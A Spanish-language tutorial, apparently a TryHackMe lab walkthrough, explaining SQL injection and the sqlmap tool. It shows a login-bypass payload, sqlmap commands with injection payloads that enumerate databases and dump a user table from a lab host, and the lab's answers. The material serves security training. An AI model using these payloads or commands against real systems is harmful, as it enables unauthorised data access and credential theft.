SQLMap: Conceptos Fundamentales

Introducción SQL injection es una vulnerabilidad común que ha sido un tema candente en el mundo de la seguridad informática durante mucho tiempo. Para comprender esta vulnerabilidad, primero debemos entender qué es una base de datos y cómo interactúan los sitios web con las bases de datos.

Una base de datos es una colección de datos que se puede almacenar, modificar y recuperar. Almacena datos de múltiples aplicaciones en un formato estructurado, lo que hace que el almacenamiento, modificación y recuperación sean simples y eficientes. Cada día interactúas con varios sitios web. Estos sitios web contienen páginas web que requieren entrada del usuario, por ejemplo, un sitio web con una página de inicio de sesión te pedirá que ingreses tus credenciales. Cuando ingresas tus credenciales, el sitio web verifica si son correctas y si lo son, te permite iniciar sesión. Cuando muchos usuarios inician sesión en ese sitio web, ¿cómo registra el sitio web todos estos datos de usuarios y los verifica durante el proceso de autenticación? Todo esto se realiza con la ayuda de bases de datos. Estos sitios web tienen bases de datos que almacenan credenciales de usuarios y otra información, y pueden recuperar información cuando es necesario. Por lo tanto, cuando ingresas tus credenciales en la página de inicio de sesión de un sitio web, el sitio web interactúa con su base de datos para verificar si estas credenciales son correctas. De manera similar, si tienes un campo de entrada para buscar algo, como el campo de entrada que ofrece un sitio web de librería que te permite buscar libros disponibles para la venta, cuando buscas cualquier libro, el sitio web interactuará con su base de datos para obtener el registro de ese libro y mostrar la información relevante del libro en el sitio web.

Ahora sabemos que los sitios web solicitan a las bases de datos que recuperen, almacenen o modifiquen cualquier dato. Entonces, ¿cómo ocurre esta interacción? Las bases de datos son gestionadas por sistemas de gestión de bases de datos (DBMS), como MySQL, PostgreSQL, SQLite o Microsoft SQL Server. Estos DBMS pueden entender el lenguaje de consulta estructurado (SQL - Structured Query Language), por lo que cualquier aplicación o sitio web utiliza consultas SQL cuando interactúa con una base de datos.

Este artículo presentará los conceptos básicos de la inyección SQL y cómo usar la herramienta automatizada SQLMap para ejecutar inyecciones SQL. Además, exploraremos este tema a través de algunos ejemplos prácticos.

Objetivos de Aprendizaje

  • Comprender las vulnerabilidades de inyección SQL;
  • Utilizar la herramienta SQLMap para detectar vulnerabilidades de inyección SQL.

Requisitos Previos

Tener conocimientos sólidos de SQL será muy útil para aprender el contenido de este artículo, pero no es necesario para completarlo.

Vulnerabilidades de Inyección SQL En la sección anterior, presentamos cómo los sitios web y las aplicaciones interactúan con las bases de datos, almacenando, modificando y recuperando datos de manera estructurada. En esta sección, aprenderemos cómo las aplicaciones interactúan con las bases de datos a través de consultas SQL y cómo los atacantes pueden manipular estas consultas SQL para realizar ataques de inyección SQL.

Nota: Antes de continuar, asegúrate de intentar métodos de inyección SQL manual o automatizados solo con el permiso del propietario de la aplicación.

Tomemos como ejemplo una página de inicio de sesión que te pide que ingreses un nombre de usuario y una contraseña correctos para iniciar sesión, con los siguientes datos:

Usuario: Juan
Contraseña: Un@detectable444

Después de ingresar el nombre de usuario y la contraseña correctos, el sitio web objetivo los recibirá y luego usará las credenciales proporcionadas para crear una consulta SQL y enviarla a la base de datos relevante.

SELECT * FROM usuarios WHERE nombre_usuario = 'Juan' AND contraseña = 'Un@detectable444';

La consulta SQL anterior se ejecutará en la base de datos. Según esta consulta, la base de datos verificará si existe un usuario llamado Juan y si la contraseña es Un@detectable444. Si se encuentra tal usuario, devolverá los detalles del usuario a la aplicación. Tenga en cuenta que la consulta anterior solo tendrá éxito si tanto el usuario como la contraseña proporcionados coinciden en la base de datos, ya que están separados por el operador lógico booleano "AND".

A veces, cuando la entrada no se limpia correctamente, es decir, cuando la entrada del usuario no se valida, los atacantes pueden manipular la entrada y escribir consultas SQL maliciosas que se ejecutarán en la base de datos para realizar las acciones que desee el atacante. La inyección SQL tiene un impacto muy perjudicial en el mundo digital, ya que todas las empresas y organizaciones almacenan sus datos (incluida información crítica) en bases de datos, y un ataque de inyección SQL exitoso podría comprometer sus datos críticos.

Supongamos que el sitio web de inicio de sesión que discutimos anteriormente carece de validación y limpieza de entrada rigurosas, lo que significa que es vulnerable a los ataques de inyección SQL. Sin conocer la contraseña del usuario Juan, un atacante podría intentar ingresar lo siguiente en los campos proporcionados:

Usuario: Juan
Contraseña: abc' OR 1=1;-- -

Podemos ver que el atacante ingresó una cadena aleatoria abc y una cadena inyectada ' OR 1=1;-- -. Ahora, la consulta SQL que el sitio web envía a la base de datos se convertirá en:

SELECT * FROM usuarios WHERE nombre_usuario = 'Juan' AND contraseña = 'abc' OR 1=1;-- -';

Esta consulta SQL parece similar a la consulta SQL normal anterior, pero utiliza el operador OR para agregar otra condición que siempre es verdadera. La consulta SQL verificará si existe un usuario llamado Juan en la base de datos, luego verificará si el usuario Juan tiene la contraseña abc (como no se conoce la contraseña real, el atacante elige ingresar una contraseña aleatoria). Idealmente, la consulta SQL debería fallar aquí, ya que el sitio web espera que tanto el nombre de usuario como la contraseña se ingresen correctamente, ya que hay un operador AND entre el usuario y la contraseña; sin embargo, la consulta anterior agrega otra condición OR entre la cotnraseña y la declaración 1=1, por lo que si cualquiera de las condiciones es verdadera, toda la consulta SQL tendrá éxito. Ahora, la verificación de la contraseña fallará, esta consulta continuará verificando la siguiente condición, es decir, si 1=1 es verdadero, como se sabe que 1=1 siempre es verdadero, ignorará la contraseña aleatoria ingresada anteriormente y considerará que la consulta en general es verdadera, por lo que ejecutará con éxito esta consulta, y además, -- - al final de la consulta SQL comentará cualquier contenido después de 1=1, lo que significa que la consulta anterior se ejecutará con éxito y el atacante también podrá iniciar sesión en la cuenta de usuario llamada Juan.

Un punto a tener en cuenta aquí es que necesitamos usar la comilla simple ' después de abc. Sin esta comilla simple ', toda la cadena 'abc OR 1=1;-- -' se considerará como el campo de contraseña, lo que no es lo que queremos; pero si agregamos una comilla simple ' después de abc, entonces 'abc' OR 1=1;-- -' se considerará como el campo de contraseña, esta comilla simple cerrará la cadena original abc en la consulta y nos permitirá introducir la condición lógica OR 1=1, que siempre es verdadera.

Consejos:

¿Por qué se usa -- - al ejecutar inyección SQL?

  1. Evitar la truncación de entrada: algunos sistemas pueden truncar la entrada después de una longitud específica, un - adicional asegura que el comentario se cosnerve completo
  2. Evitar filtros simples: algunos filtros de entrada simples pueden detectar solo -- y no -- -
  3. Separación visual: el - adicional hace que el punto de inicio del payload sea más obvio
  4. Consideraciones de compatibilidad: aunque -- es el comentario estándar, diferentes implementaciones de base de datos pueden tener diferencias, -- - tiene mejor compatibilidad

En pruebas de seguridad legales (¡debe tener autorización!), -- - generalmente es preferido a -- porque:

  • Es más fácil evadir filtros simples
  • Es más visible en los registros
  • Funciona incluso si el espacio después de -- se procesa

Herramientas Automatizadas para Inyección SQL Realizar ataques de inyección SQL implica descubrir vulnerabilidades de inyección SQL dentro de las aplicaciones y manipular la base de datos, sin embargo, hacer todo esto manualmente puede requerir tiempo y esfuerzo para verificar las vulnerabilidades.

SQLMap es una herramienta automatizada que se puede utilizar para detectar y explotar vulnerabilidades de inyección SQL en aplicaciones web. SQLMap simplifica el proceso de identificación de vulnerabilidades de inyección SQL. Esta herramienta se incluye en algunos sistemas operativos de distribución de Linux, pero si no está incluida, puedes instalarla fácilmente.

Dado que es una herramienta de línea de comandos, debes abrir una terminal del sistema operativo Linux para usarla. El comando --help de SQLMap listará todos los indicadores de parámetros disponibles que puedes usar. Si no deseas agregar manualmente los indicadores de parámetros a cada comando, puedes usar el indicador de parámetro --wizard junto con el comando sqlmap. Cuando usas este indicador de parámetro, la herramienta SQLMap te guiará a través de cada paso del ataque y hará algunas preguntas para completar el escaneo, lo cual es una opción perfecta para principiantes.

#Asistente interactivo
usuario@ubuntu:~$ sqlmap --wizard
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.2.4#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[texto eliminado]

[*] comenzando a las 08:42:50

[08:42:50] [INFO] iniciando interfaz de asistente
Por favor ingrese la URL completa del objetivo (-u): 


El indicador de parámetro --dbs de SQLMap puede ayudarte a extraer todos los nombres de las bases de datos. Después de conocer los nombres de las bases de datos, puedes usar -D nombre_base_de_datos --tablas para extraer información sobre las tablas de esa base de datos. Después de obtener con éxito las tablas, si aún deseas enumerar los registros de estas tablas, puedes usar -D nombre_base_de_datos -T nombre_tabla --dump. Diferentes indicadores de parámetro en la herramienta SQLMap te permiten extraer detalles relevantes de la base de datos. Ahora, tomemos un escenario real y usemos estos indicadores de parámetro mencionados anteriormente para explotar una aplicación web vulnerable a la inyección SQL.

Nuestro primer paso es buscar URL o puntos vulnerables. A menudo te encontrarás con URL que usan parámetros GET para recuperar datos, por ejemplo, URL como la siguiente:

http://pruebas_sqlmap.thm/buscar?cat=1

Esta URL está usando el parámetro cat con el valor 1. Si ves alguna aplicación web usando parámetros GET en la URL para recuperar datos, puedes usar el indicador -u en la herramienta SQLMap para probar tales URL, esto se considera una prueba basada en el método HTTP GET. Cuando una aplicación web usa parámetros GET en la URL para recuperar datos de una búsqueda, puedes usar este método de prueba SQLMap.

Aquí, usaremos una URL de sitio web posiblemente vulnerable a la inyección SQL para demostrar: http://pruebas_sqlmap.thm. Supongamos que este sitio web tiene una opción de búsqueda, cuando haces clic en esta opción y buscas algo, la URL se convierte en http://pruebas_sqlmap.thm/buscar/cat=1, usará el parámetro GET cat=1 en la URL para extraer información de la base de datos. Se sabe que las URL con parámetros GET son vulnerables a los ataques de inyección SQL; intentemos usar SQLMap para escanear esta URL para ver si existe una vulnerabilidad de inyección SQL.

#Probando URL para inyección SQL
usuario@ubuntu:~$ sqlmap -u http://pruebas_sqlmap.thm/buscar/cat=1
      __H__
 ___ ___[']_____ ___ ___  {1.2.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[texto eliminado]
[08:43:49] [INFO] probando la conexión a la URL del objetivo
[08:43:49] [INFO] la heurística detectó el conjunto de caracteres de la página web 'ascii'
[08:43:49] [INFO] verificando si el objetivo está protegido por algún tipo de WAF/IPS/IDS
[08:43:49] [INFO] probando si el contenido de la URL del objetivo es estable
[08:43:50] [INFO] el contenido de la URL del objetivo es estable
[08:43:50] [INFO] probando si el parámetro GET 'cat' es dinámico
[texto eliminado]
[08:45:04] [INFO] el parámetro GET 'cat' parece ser 'MySQL >= 5.0.12 AND basado en tiempo ciego' inyectable 
[texto eliminado]
[08:45:08] [INFO] el parámetro GET 'cat' es 'Consulta UNION genérica (NULL) - 1 a 20 columnas' inyectable
El parámetro GET 'cat' es vulnerable. ¿Quieres seguir probando los otros (si existen)? [y/N] y
sqlmap identificó los siguientes puntos de inyección con un total de 47 solicitudes HTTP(s):
---
Parámetro: cat (GET)
    Tipo: ciego basado en booleano
    Título: AND ciego basado en booleano - cláusula WHERE o HAVING
    Payload: cat=1 AND 2175=2175

    Tipo: basado en error
    Título: MySQL >= 5.1 AND basado en error - cláusula WHERE, HAVING, ORDER BY o GROUP BY (EXTRACTVALUE)
    Payload: cat=1 AND EXTRACTVALUE(1846,CONCAT(0x5c,0x716a787071,(SELECT (ELT(1846=1846,1))),0x7170766a71))

    Tipo: AND/OR ciego basado en tiempo
    Título: MySQL >= 5.0.12 AND ciego basado en tiempo
    Payload: cat=1 AND SLEEP(5)

    Tipo: consulta UNION
    Título: Consulta UNION genérica (NULL) - 11 columnas
    Payload: cat=1 UNION ALL SELECT CONCAT(0x716a787071,0x714d486661414f6456787a4a55796b6c7a78574f7858507a6e6a725647436e64496f4965794c6873,0x7170766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- HMgq
---
[08:45:16] [INFO] el DBMS de back-end es MySQL
sistema operativo del servidor web: Linux Ubuntu
tecnología de aplicación web: Nginx, PHP 5.6.40
DBMS de back-end: MySQL >= 5.1
[texto eliminado]


El resultado de salida en la terminal anterior nos muestra diferentes tipos de inyección SQL que pueden existir en la URL del objetivo, como inyección ciega basada en booleano, inyección basada en error, inyección ciega basada en tiempo e inyección de consulta UNION. Estas inyecciones son diferentes técnicas para explotar vulnerabilidades de inyección SQL. Por ejemplo, en la inyección ciega basada en booleano, la consulta SQL se modifica e incluye una expresión booleana (siempre verdadera, como 1=1) para extraer información. En la inyección SQL basada en error, algunas consultas se modifican intencionadamente para generar errores en los resultados enviados por la base de datos, estos errores suelen contener información valiosa sobre los datos. De manera similar, podemos usar otras técnicas de inyección SQL para explotar la base de datos.

El resultado de ejecutar el comando sqlmap contra el objetivo http://pruebas_sqlmap.thm/buscar/cat=1 nos dirá si existen diferentes tipos de inyección SQL en esta URL. Ahora, usemos algunos indicadores de parámetro de SQLMap conocidos para extraer algunos datos valiosos de la base de datos.

Para obtener información de la base de datos, podemos usar el indicador --dbs, intentemos este indicador contra la URL vulnerable anterior:

#Extrayendo nombres de bases de datos
usuario@ubuntu:~$ sqlmap -u http://pruebas_sqlmap.thm/buscar/cat=1 --dbs
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[texto eliminado]
[08:49:00] [INFO] reanudando el DBMS de back-end 'mysql' 
[08:49:00] [INFO] probando la conexión a la URL del objetivo
[08:49:01] [INFO] la heurística detectó el conjunto de caracteres de la página web 'ascii'
sqlmap reanudó los siguientes puntos de inyección de la sesión almacenada:
---
Parámetro: cat (GET)
    Tipo: ciego basado en booleano
    Título: AND ciego basado en booleano - cláusula WHERE o HAVING
    Payload: cat=1 AND 2175=2175
[texto eliminado]    
[08:49:01] [INFO] el DBMS de back-end es MySQL
sistema operativo del servidor web: Linux Ubuntu
tecnología de aplicación web: Nginx, PHP 5.6.40
DBMS de back-end: MySQL >= 5.1
[08:49:01] [INFO] obteniendo nombres de bases de datos
bases de datos disponibles [2]:
[*] usuarios
[*] miembros

[texto eliminado]


Después de ejecutar el comando anterior, obtenemos dos nombres de bases de datos, podemos seleccionar la base de datos usuarios y obtener sus tablas, para esto definiremos la base de datos que queremos usar después del indicador -D y al final del comando usaremos el indicador --tablas para extraer los nombres de todas las tablas de la base de datos especificada.

#Extrayendo tablas
usuario@ubuntu:~$ sqlmap -u http://pruebas_sqlmap.thm/buscar/cat=1 -D usuarios --tablas
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[texto eliminado]
[08:50:46] [INFO] reanudando el DBMS de back-end 'mysql' 
[08:50:46] [INFO] probando la conexión a la URL del objetivo
[08:50:46] [INFO] la heurística detectó el conjunto de caracteres de la página web 'ascii'
sqlmap reanudó los siguientes puntos de inyección de la sesión almacenada:
---
Parámetro: cat (GET)
    Tipo: ciego basado en booleano
    Título: AND ciego basado en booleano - cláusula WHERE o HAVING
    Payload: cat=1 AND 2175=2175
[texto eliminado]
[08:50:46] [INFO] obteniendo tablas para la base de datos: 'usuarios'
Base de datos: acuart
[3 tablas]
+-----------+
| juanath   |
| alexas    |
| tomas     |     
+-----------+

[texto eliminado]


Ahora que hemos obtenido todos los nombres de tabla disponibles en la base de datos usuarios, volquemos los registros de la tabla tomas. Para esto, usaremos el indicador -D para definir la base de datos, el indicador -T para definir la tabla, y para extraer los registros de la tabla especificada, también necesitamos usar el indicador --dump para volcar la información.

#Extrayendo registros de una tabla
usuario@ubuntu:~$ sqlmap -u http://pruebas_sqlmap.thm/buscar/cat=1 -D usuarios -T tomas --dump
       __H__
 ___ ___[(]_____ ___ ___  {1.2.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[texto eliminado]
[08:51:48] [INFO] reanudando el DBMS de back-end 'mysql' 
[08:51:48] [INFO] probando la conexión a la URL del objetivo
[08:51:49] [INFO] la heurística detectó el conjunto de caracteres de la página web 'ascii'
sqlmap reanudó los siguientes puntos de inyección de la sesión almacenada:
---
Parámetro: cat (GET)
    Tipo: ciego basado en booleano
    Título: AND ciego basado en booleano - cláusula WHERE o HAVING
    Payload: cat=1 AND 2175=2175
[texto eliminado]
[08:51:49] [INFO] el DBMS de back-end es MySQL
sistema operativo del servidor web: Linux Ubuntu
tecnología de aplicación web: Nginx, PHP 5.6.40
DBMS de back-end: MySQL >= 5.1
[08:51:49] [INFO] obteniendo columnas para la tabla 'tomas' en la base de datos 'usuarios'
[08:51:49] [INFO] obteniendo entradas para la tabla 'tomas' en la base de datos 'usuarios'
[08:51:49] [INFO] hashes de contraseña reconocidos en la columna 'hash_pass'
¿quieres almacenar hashes en un archivo temporal para procesamiento eventual? n
¿quieres descifrarlos mediante un ataque basado en diccionario? [Y/n/q] n
Base de datos: usuarios
Tabla: tomas
[1 entrada]
+---------------------+------------+---------+
| Fecha               | nombre     | pass    |    
+---------------------+------------+----------
| 09/09/2024          | Tomas THM  | testing |    
+---------------------+------------+---------+

[texto eliminado]


Además, puedes usar el método de prueba basado en POST, donde la aplicación enviará datos en el cuerpo de la solicitud en lugar de en la URL. Por ejemplo, formularios de inicio de sesión, formularios de registro, etc. Para usar este método, debes interceptar la solicitud POST en la página de inicio de sesión o registro y guardarla como un archivo de texto, luego puedes usar el siguiente comando para proporcionar la solicitud guardada en el archivo de texto a la herramienta SQLMap para su prueba:

#Probando una solicitud interceptada
usuario@ubuntu:~$ sqlmap -r solicitud_interceptada.txt


Nota: Este artículo no detalla cómo interceptar y capturar solicitudes POST, pero puedes usar la herramienta BurpSuite para realizar estas operaciones.

Preguntas:

¿Qué indicador de parámetro en la herramienta SQLMap se puede usar para extraer toda la información disponible de las bases de datos?

--dbs

¿Cuál es el comando completo de SQLMap para extraer todas las tablas de la base de datos "miembros"? (URL vulnerable: http://pruebas_sqlmap.thm/buscar/cat=1)

sqlmap -u http://pruebas_sqlmap.thm/buscar/cat=1 -D miembros --tablas

Ejercicios Prácticos En esta sección, TryHackMe nos proporciona una aplicación web vulnerable a ataques de inyección SQL para que podamos probar la inyección SQL. En la sala de experimentos relacionada con este artículo, podemos implementar una máquina virtual objetivo haciendo clic en el botón "Start Machine" como se muestra a continuación, luego la máquina virtual objetivo se iniciará y la página de la sala de experimentos nos mostrará la dirección IP correspondiente a esa máquina.

Luego, podemos hacer clic en el botón "Start AttackBox" en la parte superior de la página de la sala de experimentos para iniciar AttackBox como nuestra máquina de ataque, usaremos esta máquina para realizar ataques de inyección SQL contra el objetivo usando la herramienta SQLMap.

La aplicación web objetivo tiene una página de inicio de sesión alojada en http://IP_MAQUINA/ai/login, cuando visitamos esta URL, veremos una página de inicio de sesión vulnerable a ataques de inyección SQL.

Consejos: recuerda rellenar la dirección IP de la máquina objetivo en la URL.

En la sección anterior, sabemos que si vemos parámetros GET en la URL, pueden ser vulnerables a la inyección SQL y podemos copiar la URL para usarla con el comando sqlmap. También sabemos que si hay una solicitud POST y los datos se envían en el cuerpo de la solicitud en lugar de a través de la URL, podemos interceptar esa solicitud y usarla con el comando sqlmap para intentar explotar la vulnerabilidad de inyección SQL (si existe).

Sin embargo, en la página de inicio de sesión de esta sección, usamos una solicitud GET, pero los parámetros no son visibles en la URL. Para usar SQLMap para probar esta URL, necesitamos la URL específica con parámetros GET.

Por lo tanto, para obtener la URL completa con parámetros GET, podemos hacer clic derecho en la página de inicio de sesión y luego hacer clic en la opción inspect (inspeccionar), este proceso puede variar ligeramente según el navegador, luego debemos seleccionar y abrir la pestaña "Network" (Red) en el navegador; y también debemos ingresar algunas credenciales de prueba en los campos de nombre de usuario y contraseña y hacer clic en el botón de inicio de sesión, entonces podremos ver la solicitud GET relevante, haciendo clic en esa solicitud en el navegador, podremos ver la solicitud GET completa con parámetros. Podemos copiar esta URL completa y usarla con el comando sqlmap para descubrir vulnerabilidades de inyección SQL y explotarlas.

La solicitud completa se muestra en la siguiente figura:

Nota: Si no puedes extraer la URL objetivo a través de los pasos anteriores, puedes copiar directamente el siguiente contenido.

#Recuerda rellenar la dirección IP de la máquina objetivo en la URL
http://IP_MAQUINA/ai/includes/user_login?email=test&password=test


Ejecutaremos los comandos discutidos en la sección anterior contra esta URL y responderemos las preguntas planteadas en esta sección; además, recuerda incluir tu URL entre comillas simples ', esto para evitar errores en la terminal debido a caracteres especiales, como ?.

Nota: Es posible que no puedas obtener los resultados deseados con un escaneo simple, para esto puedes agregar el indicador de parámetro --level=5 al final del comando sqlmap para realizar un escaneo profundo; además, al ejecutar el comando, la herramienta sqlmap podría hacerte algunas preguntas, asegúrate de responder de la siguiente manera para ejecutar con éxito el escaneo sqlmap.

  • Parece que el DBMS de back-end es "MySQL", ¿quieres omitir los payloads específicos para otros DBMS? [sí/no]: y
  • Para las pruebas restantes, ¿quieres incluir todas las pruebas que proporcionen un valor de riesgo (1) para 'MySQL'? [sí/no]: y
  • No se puede inyectar con valores NULL, ¿quieres intentar usar valores enteros aleatorios para la opción "--union-char"? [sí/no]: y
  • El parámetro GET "email" es vulnerable, ¿quieres seguir probando otros parámetros (si los hay)? [sí/no]: n

Preguntas:

Consejos: implementa la máquina virtual objetivo y la máquina de ataque AttackBox para los experimentos.

¿Cuántas bases de datos están disponibles en esta aplicación web? (usa los indicadores de parámetro --dbs --level=5 para extraer todas las bases de datos disponibles)

#Ejecuta el comando en la terminal de la máquina de ataque
#Recuerda rellenar la dirección IP de la máquina objetivo en la URL
#sqlmap -u 'http://IP_MAQUINA/ai/includes/user_login?email=test&password=test' --dbs --level=5
sqlmap -u 'http://10.10.86.9/ai/includes/user_login?email=test&password=test' --dbs --level=5


6

¿Cuáles son los nombres de las tablas disponibles en la base de datos "ai"? (usa los indicadores de parámetro -D ai --tables --level=5 para extraer las tablas disponibles en la base de datos)

#Ejecuta el comando en la terminal de la máquina de ataque
#Recuerda rellenar la dirección IP de la máquina objetivo en la URL
#sqlmap -u 'http://IP_MAQUINA/ai/includes/user_login?email=test&password=test' -D ai --tables --level=5
sqlmap -u 'http://10.10.86.9/ai/includes/user_login?email=test&password=test' -D ai --tables --level=5


usuario

¿Cuál es la contraseña del correo electrónico test@chatai.com? (vuelca los registros de la tabla "user" en la base de datos "ai")

#Ejecuta el comando en la terminal de la máquina de ataque
#Recuerda rellenar la dirección IP de la máquina objetivo en la URL
#sqlmap -u 'http://IP_MAQUINA/ai/includes/user_login?email=test&password=test' -D ai -T user --level=5 --dump
sqlmap -u 'http://10.10.86.9/ai/includes/user_login?email=test&password=test' -D ai -T user --level=5 --dump


12345678 SQLMap, Inyección SQL, Seguridad Web, MySQL, Pentesting

Etiquetas: SQLMap inyección SQL seguridad web MySQL pentesting

Publicado el 7-4 22:23